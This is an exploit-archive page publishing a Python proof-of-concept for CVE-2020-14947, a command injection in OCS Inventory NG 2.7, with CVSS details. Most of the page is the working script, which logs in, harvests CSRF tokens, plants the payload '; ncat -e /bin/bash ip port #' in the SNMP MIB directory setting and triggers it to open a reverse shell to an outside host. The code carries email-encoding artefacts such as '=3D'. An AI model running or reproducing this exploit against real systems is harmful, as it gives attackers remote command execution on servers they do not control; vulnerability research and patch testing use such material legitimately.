OCS Inventory NG 2.7 Remote Code Execution

2020.07.03
Credit: Askar
Risk: High
Local: No
Remote: Yes
CWE: CWE-78


CVSS Base Score: 6.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8/10
Exploit range: Remote
Attack complexity: Low
Authentication: Single time
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

# Exploit Title: OCS Inventory NG 2.7 - Remote Code Execution # Date: 2020-06-05 # Exploit Author: Askar (@mohammadaskar2) # CVE: CVE-2020-14947 # Vendor Homepage: https://ocsinventory-ng.org/ # Version: v2.7 # Tested on: Ubuntu 18.04 / PHP 7.2.24 #!/usr/bin/python3 import requests import sys import warnings import random import string from bs4 import BeautifulSoup from urllib.parse import quote warnings.filterwarnings("ignore", category=3DUserWarning, module=3D'bs4') if len(sys.argv) !=3D 6: print("[~] Usage : ./ocsng-exploit.py url username password ip port") exit() url =3D sys.argv[1] username =3D sys.argv[2] password =3D sys.argv[3] ip =3D sys.argv[4] port =3D sys.argv[5] request =3D requests.session() def login(): login_info =3D { "Valid_CNX": "Send", "LOGIN": username, "PASSWD": password } login_request =3D request.post(url+"/index.php", login_info) login_text =3D login_request.text if "User not registered" in login_text: return False else: return True def inject_payload(): csrf_req =3D request.get(url+"/index.php?function=3Dadmin_conf") content =3D csrf_req.text soup =3D BeautifulSoup(content, "lxml") first_token =3D soup.find_all("input", id=3D"CSRF_10")[0].get("value") print("[+] 1st token : %s" % first_token) first_data =3D { "CSRF_10": first_token, "onglet": "SNMP", "old_onglet": "INVENTORY" } req =3D request.post(url+"/index.php?function=3Dadmin_conf", data=3Dfir= st_data) content2 =3D req.text soup2 =3D BeautifulSoup(content2, "lxml") second_token =3D soup2.find_all("input", id=3D"CSRF_14")[0].get("value"= ) print("[+] 2nd token : %s" % second_token) payload =3D "; ncat -e /bin/bash %s %s #" % (ip, port) #RELOAD_CONF=3D&Valid=3DUpdate inject_request =3D { "CSRF_14": second_token, "onglet": "SNMP", "old_onglet": "SNMP", "SNMP": "0", "SNMP_INVENTORY_DIFF": "1", # The payload should be here "SNMP_MIB_DIRECTORY": payload, "RELOAD_CONF": "", "Valid": "Update" } final_req =3D request.post(url+"/index.php?function=3Dadmin_conf", data= =3Dinject_request) if "Update done" in final_req.text: print("[+] Payload injected successfully") execute_payload() def execute_payload(): csrf_req =3D request.get(url+"/index.php?function=3DSNMP_config") content =3D csrf_req.text soup =3D BeautifulSoup(content, "lxml") third_token =3D soup.find_all("input", id=3D"CSRF_22")[0].get("value") third_request =3D request.post(url+"/index.php?function=3DSNMP_config",= files=3D{ 'CSRF_22': (None, third_token), 'onglet': (None, 'SNMP_MIB'), 'old_onglet': (None, 'SNMP_RULE'), 'snmp_config_length': (None, '10') }) print("[+] 3rd token : %s" % third_token) third_request_text =3D third_request.text soup =3D BeautifulSoup(third_request_text, "lxml") forth_token =3D soup.find_all("input", id=3D"CSRF_26")[0].get("value") print("[+] 4th token : %s" % forth_token) print("[+] Triggering payload ..") print("[+] Check your nc ;)") forth_request =3D request.post(url+"/index.php?function=3DSNMP_config",= files=3D{ 'CSRF_26': (None, forth_token), 'onglet': (None, 'SNMP_MIB'), 'old_onglet': (None, 'SNMP_MIB'), 'update_snmp': (None, 'send') }) if login(): print("[+] Valid credentials!") inject_payload()


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2020, cxsecurity.com

 

Back to Top